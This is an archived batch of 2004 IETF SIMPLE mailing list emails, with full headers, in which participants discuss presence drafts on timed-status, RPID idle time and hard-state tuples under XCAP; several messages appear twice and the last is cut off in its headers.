From simple-admin@ietf.org  Tue Mar  9 14:10:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15555
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 14:10:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mcq-0007K0-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:10:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mbz-0007At-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:09:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mbA-000713-00; Tue, 09 Mar 2004 14:09:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mb7-0001k4-6M; Tue, 09 Mar 2004 14:09:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mb4-0001jg-28
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:08:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15492
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:08:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mb1-00070C-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:08:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0maA-0006pw-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:08:02 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mZB-0006Ul-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:07:01 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29J6WNr015129;
	Tue, 9 Mar 2004 14:06:32 -0500 (EST)
Message-ID: <404E15AD.9040809@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <404880BC.7020906@cs.columbia.edu>
In-Reply-To: <404880BC.7020906@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:06:21 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> Thanks for your comments. I think I addressed all of them; brief remarks 
> in-line.
> 
> Jonathan Rosenberg wrote:
> 
>>
>> I think you need to be a bit more specific here about the procedure 
>> that is to be followed. Furthermore, I think that a sanity check on 
>> time sync should be more than just "advice to implementors", and 
>> rather should be SHOULD strength.
> 
> 
> SHOULD and a bit more checking detail added, although I can't think of 
> anything beyond the notification timestamp, making sure that the time 
> range is not spanning the present and that it is outside the range in 
> the <timestamp> PIDF element.

That seems fine.

> 
>>
>>
>>
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> Added verbiage that senders of timed-status are to avoid overlapping 
> elements, that this isn't always possible but that receivers MUST be 
> able to handle this.

OK.

> 
> 
>>
>> Also, the schema does not indicate any specific RPID elements which 
>> can sensibly included within future-status. I think those should be 
>> defined here by referencing them in the future-status schema from the 
>> rpid schema. Indeed, presumably any PIDF extension that can appear 
>> within <status> can also appear within <future-status>; you should 
>> probably mention that. Some, I suspect, won't be that useful 
>> practically speaking (for example, <relationship>), and the text 
>> should probably give some guidance about that.
> 
> 
> <relationship> should be a tuple element, I think.

Yes, that makes sense.

> I'm not sure whether 
> I should enumerate all the RPID elements that don't make sense. 

There aren't that many; the more you can say the better, I think.

> Even 
> idle can be construed to be useful, for example, if a compositor has 
> only old information from a device, including the last idle time. I have 
> noted, by example, that CIPID is not useful.

I don't understand idle time. If I know the current idle status, what 
value is the idle status from some duration in the past?

> 
> As a side note, maybe the usefulness in timed-status is a good 
> indication that something really extends <tuple> not <status>.

Why? If status and timed-status are "peers", then if something is valid 
in timed-status, it should also be useful in status, as a general rule, no?

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 14:11:19 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15601
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 14:11:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mct-00022N-O3
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 14:10:51 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29JApRc007828
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 14:10:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mct-00022B-I2
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 14:10:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15570
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 14:10:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mcr-0007K9-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:10:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mc0-0007B0-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:09:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mbA-000713-00; Tue, 09 Mar 2004 14:09:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mb7-0001k4-6M; Tue, 09 Mar 2004 14:09:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mb4-0001jg-28
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:08:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15492
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:08:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mb1-00070C-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:08:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0maA-0006pw-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:08:02 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mZB-0006Ul-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:07:01 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29J6WNr015129;
	Tue, 9 Mar 2004 14:06:32 -0500 (EST)
Message-ID: <404E15AD.9040809@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <404880BC.7020906@cs.columbia.edu>
In-Reply-To: <404880BC.7020906@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:06:21 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> Thanks for your comments. I think I addressed all of them; brief remarks 
> in-line.
> 
> Jonathan Rosenberg wrote:
> 
>>
>> I think you need to be a bit more specific here about the procedure 
>> that is to be followed. Furthermore, I think that a sanity check on 
>> time sync should be more than just "advice to implementors", and 
>> rather should be SHOULD strength.
> 
> 
> SHOULD and a bit more checking detail added, although I can't think of 
> anything beyond the notification timestamp, making sure that the time 
> range is not spanning the present and that it is outside the range in 
> the <timestamp> PIDF element.

That seems fine.

> 
>>
>>
>>
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> Added verbiage that senders of timed-status are to avoid overlapping 
> elements, that this isn't always possible but that receivers MUST be 
> able to handle this.

OK.

> 
> 
>>
>> Also, the schema does not indicate any specific RPID elements which 
>> can sensibly included within future-status. I think those should be 
>> defined here by referencing them in the future-status schema from the 
>> rpid schema. Indeed, presumably any PIDF extension that can appear 
>> within <status> can also appear within <future-status>; you should 
>> probably mention that. Some, I suspect, won't be that useful 
>> practically speaking (for example, <relationship>), and the text 
>> should probably give some guidance about that.
> 
> 
> <relationship> should be a tuple element, I think.

Yes, that makes sense.

> I'm not sure whether 
> I should enumerate all the RPID elements that don't make sense. 

There aren't that many; the more you can say the better, I think.

> Even 
> idle can be construed to be useful, for example, if a compositor has 
> only old information from a device, including the last idle time. I have 
> noted, by example, that CIPID is not useful.

I don't understand idle time. If I know the current idle status, what 
value is the idle status from some duration in the past?

> 
> As a side note, maybe the usefulness in timed-status is a good 
> indication that something really extends <tuple> not <status>.

Why? If status and timed-status are "peers", then if something is valid 
in timed-status, it should also be useful in status, as a general rule, no?

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 14:25:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16386
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 14:25:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mrS-0002H5-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:25:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mqX-000267-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:24:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mpf-0001vk-00; Tue, 09 Mar 2004 14:24:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mpd-0002kw-Rd; Tue, 09 Mar 2004 14:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mor-0002je-2V
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:23:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16230
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:23:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0moo-0001kf-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:23:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mnr-0001Yr-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:22:11 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mmu-0001Ft-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:21:12 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JKoNr015133;
	Tue, 9 Mar 2004 14:20:50 -0500 (EST)
Message-ID: <404E1907.8050802@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was
 RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:20:39 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> Hi Markus,
>  
> Lets leave the mandatory-ns element aside for the time being.
> You stated that one should use XCAP to control *hard state* tuples only
> What if a user changes other  soft tuples with XCAP.

It is my understanding that they cannot.

This is enforced because the presence documents published through 
PUBLISH are simply not reflected into the xcap hierarchy.

>  
> Will the server allow that?

No.

>  
> Where in your draft you explain/discuss  how to handle those cases?
>  
> And what are the tuples in PIDF and other extensions that you 
> consider *hard state* tuples.

That is a good question. I tend to think that a "hard state" document 
would usually have a tuple representing the presentity (contact-type = 
presentity), and have rpid elements like <vacation> that apply to the 
presentity and not a particular device.

Do we need to MANDATE that the hard state document is constructed this 
way? I dont think so, but thats certainly a point worth discussing.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 14:26:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16472
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 14:26:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mrW-0002vv-2E
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 14:25:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29JPwp1011269
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 14:25:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mrV-0002vg-Uz
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 14:25:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16404
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 14:25:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mrT-0002HA-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:25:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mqY-00026E-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:24:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mpf-0001vk-00; Tue, 09 Mar 2004 14:24:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mpd-0002kw-Rd; Tue, 09 Mar 2004 14:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mor-0002je-2V
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:23:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16230
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:23:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0moo-0001kf-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:23:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mnr-0001Yr-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:22:11 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mmu-0001Ft-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:21:12 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JKoNr015133;
	Tue, 9 Mar 2004 14:20:50 -0500 (EST)
Message-ID: <404E1907.8050802@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was
 RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:20:39 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> Hi Markus,
>  
> Lets leave the mandatory-ns element aside for the time being.
> You stated that one should use XCAP to control *hard state* tuples only
> What if a user changes other  soft tuples with XCAP.

It is my understanding that they cannot.

This is enforced because the presence documents published through 
PUBLISH are simply not reflected into the xcap hierarchy.

>  
> Will the server allow that?

No.

>  
> Where in your draft you explain/discuss  how to handle those cases?
>  
> And what are the tuples in PIDF and other extensions that you 
> consider *hard state* tuples.

That is a good question. I tend to think that a "hard state" document 
would usually have a tuple representing the presentity (contact-type = 
presentity), and have rpid elements like <vacation> that apply to the 
presentity and not a particular device.

Do we need to MANDATE that the hard state document is constructed this 
way? I dont think so, but thats certainly a point worth discussing.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 14:31:56 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16771
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 14:31:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mxI-0003NG-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:31:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mwP-0003CS-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:31:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mvT-00031j-00; Tue, 09 Mar 2004 14:30:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mvS-0003F8-Tx; Tue, 09 Mar 2004 14:30:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mvK-0003ER-LQ
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:29:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16650
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:29:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mvI-0002za-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:29:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0muR-0002q2-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:29:00 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mtl-0002ce-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:28:17 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JRcNr015139;
	Tue, 9 Mar 2004 14:27:38 -0500 (EST)
Message-ID: <404E1A9F.6050907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com> <40453B49.3000901@cs.columbia.edu>
In-Reply-To: <40453B49.3000901@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:27:27 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> Jonathan Rosenberg wrote:
> 
>> My interpretation of Hennings current text:
>>
>> The <idle> records the absolute time and date the communication
>>    device was last used.
>>
>> was that "device" was limited to the IM client, for example. In such a 
>> case, it would mean the last time I sent an IM. I'm not sure why, on 
>> first read, I came to this conclusion, to be honest.
>>
>> I think if, the text is clarified as to the scope of device (i.e., the 
>> "PC" for a typical IM app) that would be fine.
> 
> 
> Probably depends on contact-type:
> - presentity: most recent usage for any device for presentity
> - device: obvious
> - service: the most recent usage across all devices being aggregated 
> into one tuple

I think that would be a good clarification. As a general rule, many of 
these things make sense in tuples of some types, but not others. 
Wherever possible, we should make that clear.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 14:32:27 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16806
